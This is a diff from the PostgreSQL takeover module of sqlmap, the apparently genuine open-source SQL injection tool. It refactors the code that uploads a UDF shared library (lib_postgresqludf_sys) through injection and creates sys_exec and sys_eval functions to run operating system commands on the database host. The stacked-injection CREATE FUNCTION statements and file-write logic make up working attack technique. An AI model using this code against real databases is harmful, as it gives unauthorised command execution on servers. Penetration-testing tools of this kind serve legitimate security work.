self.udfLocalFile = paths.SQLMAP_UDF_PATH
|
||||
self.udfSharedLibName = "libsqlmapudf%s" % randomStr(lowercase=True)
|
||||
|
||||
self.getVersionFromBanner()
|
||||
|
||||
banVer = kb.bannerFp["dbmsVersion"]
|
||||
dFile = None
|
||||
wFile = paths.SQLMAP_UDF_PATH
|
||||
lib = "libsqlmapudf%s" % randomStr(lowercase=True)
|
||||
|
||||
if banVer >= "8.3":
|
||||
majorVer = "8.3"
|
||||
@@ -430,72 +472,15 @@ class PostgreSQLMap(Fingerprint, Enumeration, Filesystem, Miscellaneous, Takeove
|
||||
majorVer = "8.2"
|
||||
|
||||
if kb.os == "Windows":
|
||||
wFile += "/postgresql/windows/%s/lib_postgresqludf_sys.dll" % majorVer
|
||||
libExt = "dll"
|
||||
self.udfLocalFile += "/postgresql/windows/%s/lib_postgresqludf_sys.dll" % majorVer
|
||||
self.udfSharedLibExt = "dll"
|
||||
else:
|
||||
wFile += "/postgresql/linux/%s/lib_postgresqludf_sys.so" % majorVer
|
||||
libExt = "so"
|
||||
|
||||
for udf in ( "sys_exec", "sys_eval" ):
|
||||
if udf in self.createdUdf:
|
||||
continue
|
||||
|
||||
logger.info("checking if %s UDF already exist" % udf)
|
||||
|
||||
query = agent.forgeCaseStatement("(SELECT proname='%s' FROM pg_proc WHERE proname='%s' OFFSET 0 LIMIT 1)" % (udf, udf))
|
||||
exists = inject.getValue(query, resumeValue=False, unpack=False)
|
||||
|
||||
if exists == "1":
|
||||
message = "%s UDF already exists, do you " % udf
|
||||
message += "want to overwrite it? [y/N] "
|
||||
output = readInput(message, default="N")
|
||||
|
||||
if output and output in ("y", "Y"):
|
||||
self.udfToCreate.add(udf)
|
||||
else:
|
||||
self.udfToCreate.add(udf)
|
||||
|
||||
if len(self.udfToCreate) > 0:
|
||||
# On Windows
|
||||
if kb.os == "Windows":
|
||||
# The DLL can be in any folder where postgres user has
|
||||
# read/write/execute access is valid
|
||||
# NOTE: by not specifing any path, it will save into the
|
||||
# data directory, on PostgreSQL 8.3 it is
|
||||
# C:\Program Files\PostgreSQL\8.3\data.
|
||||
dFile = "%s.%s" % (lib, libExt)
|
||||
|
||||
# On Linux
|
||||
else:
|
||||
# The SO can be in any folder where postgres user has
|
||||
# read/write/execute access is valid
|
||||
dFile = "/tmp/%s.%s" % (lib, libExt)
|
||||
|
||||
self.writeFile(wFile, dFile, "binary", False)
|
||||
|
||||
for udf, retType in ( ( "sys_exec", "int4" ), ( "sys_eval", "text" ) ):
|
||||
if udf in self.createdUdf:
|
||||
continue
|
||||
|
||||
if udf in self.udfToCreate:
|
||||
logger.info("creating %s UDF from the binary UDF file" % udf)
|
||||
|
||||
# Reference: http://www.postgresql.org/docs/8.3/interactive/sql-createfunction.html
|
||||
inject.goStacked("DROP FUNCTION %s" % udf)
|
||||
inject.goStacked("CREATE OR REPLACE FUNCTION %s(text) RETURNS %s AS '%s', '%s' LANGUAGE C RETURNS NULL ON NULL INPUT IMMUTABLE" % (udf, retType, dFile, udf))
|
||||
else:
|
||||
logger.debug("keeping existing %s UDF as requested" % udf)
|
||||
|
||||
self.createdUdf.add(udf)
|
||||
self.udfLocalFile += "/postgresql/linux/%s/lib_postgresqludf_sys.so" % majorVer
|
||||
self.udfSharedLibExt = "so"
|
||||
|
||||
self.udfInjectCore(self.sysUdfs)
|
||||
self.envInitialized = True
|
||||
|
||||
debugMsg = "creating a support table to write commands standard "
|
||||
debugMsg += "output to"
|
||||
logger.debug(debugMsg)
|
||||
|
||||
self.createSupportTbl(self.cmdTblName, self.tblField, "text")
|
||||
|
||||
|
||||
def uncPathRequest(self):
|
||||
self.createSupportTbl(self.fileTblName, self.tblField, "text")
|
||||
|
||||
Reference in New Issue
Block a user